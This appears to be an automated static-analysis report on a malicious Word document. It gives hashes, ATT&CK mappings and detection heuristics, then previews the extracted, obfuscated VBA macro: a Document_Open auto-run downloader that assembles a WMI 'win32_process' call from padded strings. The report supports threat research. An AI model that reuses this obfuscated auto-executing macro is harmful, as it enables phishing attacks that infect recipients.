Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8aef0f99e6ad886e…

MALICIOUS

Office (OLE)

194.6 KB Created: 2020-09-18 21:15:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: 70c8bb3044271760e1def4c63ccbf2f5 SHA-1: bf9a811d214a4d6c250c0dfc28476d691293fe34 SHA-256: 8aef0f99e6ad886e7a947f5a99fd0b0016cfdd32cf2c62ad525364452c8c7c41
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample contains VBA macros, specifically a Document_Open macro that utilizes CreateObject, indicating malicious intent. The ClamAV detection 'Doc.Downloader.Generic-9763611-0' strongly suggests the macro's purpose is to download and execute a secondary payload. While the exact download URL is obfuscated within the script, the presence of the macro and the downloader heuristic points to a typical phishing attachment attack.

Heuristics 6

  • ClamAV: Doc.Downloader.Generic-9763611-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-9763611-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19156 bytes
SHA-256: 27aa07f405fa9b3280133cc26ba8fa4c11df7235c7ef1a37f33a0286291c2144
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "V_x4908isflwllb7n"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Gbd08pq6lcy7 = Array(U_fywqtctq2mi329 + "Zz3nk80raaexD5g6pbnqhuqd2 Jwyy19fd_emsdhg" + Lophl8gom1u12em, Okv6mnp1hb6cs, Nvwck83m54u8b4q3.Tb2iyx2rneeekzo4c_, Ygjwebztkrqkl_npm6 + "C04wljc_1akbd7p2o Dakva_epbbpm3z Hp0gu9mbc_t Lmo7j_9h6ss")
End Sub

Attribute VB_Name = "Nvwck83m54u8b4q3"
Attribute VB_Base = "0{995F29A6-2145-4A98-9FBD-CE0190A7CBC7}{CA894624-2333-43E8-9E8B-5F408E304011}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Tb2iyx2rneeekzo4c_()
On Error Resume Next
   Set NBJKS = Languages
IdRWRqkldA = Mid _
((Cd4nr2wb2cuoaurq + Zs0y2tgjsu2u2fu), 232, 2)
WBHjwhzz = Mid _
((Fofb98npbwoc + Xvt7_71bcnuxd0), 127, 2)
lqoNo = Mid _
((Wsa9aj4flpvd + Nwefd3v0hy2j), 230, 1)
lizKwNK = Mid _
((Cfbwp69fuuwqbieqi + K4usqiptlniy5j), 43, 2)
pFiWhmDdQ = Mid _
((Efyez_2f__ctzcur + Zgmqjwz4h7tv971), 109, 1)
Set ouOHId = Languages
BPEqdkHsb = Mid _
((U6dqmtryxvtoz + M381zx9i9u_lseiv), 61, 2)
BJTsW = Mid _
((Cmh8hqahq1y + Rckerp2zihdpt9tra), 83, 1)
ZowKPs = Mid _
((Jqcsqcs5jl7 + G9jpirzhbzr868j), 226, 1)
hTwmLzb = Mid _
((Jk9ugomi2gxiwxfp4 + Yfgdzb45_z_gyt51), 242, 2)
Set nioObds = Languages
VZJjLFS = IdRWRqkldA + WBHjwhzz + lqoNo + lizKwNK + pFiWhmDdQ + BPEqdkHsb + BJTsW + ZowKPs + hTwmLzb
EYCoQrOrZl = Mid _
((Zoll6wazc6qvot + Cf0dwkv73no), 70, 1)
MwMDn = VZJjLFS + EYCoQrOrZl
Tggs3o8ikcld4 = 90
   Set NBJKS = Languages
IdRWRqkldA = Mid _
((Uslratz3b2s + Kwvnjdqktp48r3zfxk), 232, 2)
WBHjwhzz = Mid _
((We6yrqythn0ewt + Ij_dw6ifvnzpai6t), 127, 2)
lqoNo = Mid _
((Ukx4u0e8wvi + Okho4qpgtywx_jk3by), 230, 1)
lizKwNK = Mid _
((J55nl883l6g_k + Fbdsbi4pnvdya4lyn7), 43, 2)
pFiWhmDdQ = Mid _
((H7d197s7zemmymx2ih + Aqr0qijy7dqxs), 109, 1)
Set ouOHId = Languages
BPEqdkHsb = Mid _
((B_eelfwumelbj + Inbcqc7t48xrzi), 61, 2)
BJTsW = Mid _
((Uir6bxntx9cyrdn + K_5mtcohpqshhs5r), 83, 1)
ZowKPs = Mid _
((Yu85hi406pfopp + Ljis78c16kpweg), 226, 1)
hTwmLzb = Mid _
((Devktuq5i3anz + F4aad29jlvr65ct3), 242, 2)
Set nioObds = Languages
VZJjLFS = IdRWRqkldA + WBHjwhzz + lqoNo + lizKwNK + pFiWhmDdQ + BPEqdkHsb + BJTsW + ZowKPs + hTwmLzb
EYCoQrOrZl = Mid _
((R4tkb4e77_p_17t + Cwrpvbpn64_4y1), 70, 1)
MwMDn = VZJjLFS + EYCoQrOrZl
E80_fu_r_abyl8_nh = W_1xebo88501 + Chr$(Tggs3o8ikcld4 + (25))
   Set NBJKS = Languages
IdRWRqkldA = Mid _
((Wh_9iedyg_89h + Xcfn1bg0h_bv4w5), 232, 2)
WBHjwhzz = Mid _
((I5ctqbfy8pr84k5r + Zt3sr7fe8aa7y), 127, 2)
lqoNo = Mid _
((M5qyd7ye78rrk + Gg8fvk5dci508pu), 230, 1)
lizKwNK = Mid _
((D4je_dmw2vx + Q6aavv61d6loso2i6), 43, 2)
pFiWhmDdQ = Mid _
((Ziv63zigvf5 + K_x0qih4omv59), 109, 1)
Set ouOHId = Languages
BPEqdkHsb = Mid _
((M6wvne3xwok4d + Uo_z84qm2u0tb), 61, 2)
BJTsW = Mid _
((Sxy29sinva4 + N3niyxe7aam79f5e), 83, 1)
ZowKPs = Mid _
((Bw6d28_2t7w + L4_8gjz_s7m), 226, 1)
hTwmLzb = Mid _
((Ea1l453ydjto0x + Wosf3t3vhm027efxg), 242, 2)
Set nioObds = Languages
VZJjLFS = IdRWRqkldA + WBHjwhzz + lqoNo + lizKwNK + pFiWhmDdQ + BPEqdkHsb + BJTsW + ZowKPs + hTwmLzb
EYCoQrOrZl = Mid _
((L91hy91d9agkv + Oq5w_2u6oqt05c7t0x), 70, 1)
MwMDn = VZJjLFS + EYCoQrOrZl
A3iofize2ni17p5 = "6237862378w62378i62378nm6237862378gm62378t6237862378" + E80_fu_r_abyl8_nh + "6237862378:62378w62378in6237862378362378262378_62378" + Nvwck83m54u8b4q3.Otmrktgvqnnoafay + "62378ro6237862378ce62378s62378s62378"
   Set NBJKS = Languages
IdRWRqkldA = Mid _
((Xo8f6abq3qi250jvmc + Rhe5m9hbrl33), 232, 2)
WBHjwhzz = Mid _
((Qvbdt1tf50ur + Wiy0hund234), 127, 2)
lqoNo = Mid _
((Ohx0vf_ycdj9gcw + Z5junlc0osdipc7), 230, 1)
lizKwNK = Mid _
((Ft0t7hj5u403_14f9 + D8tjiifzvcb3jahq1), 43, 2)
pFiWhmDdQ = Mid _
((Cdz4uq_unk0y19kw 
... (truncated)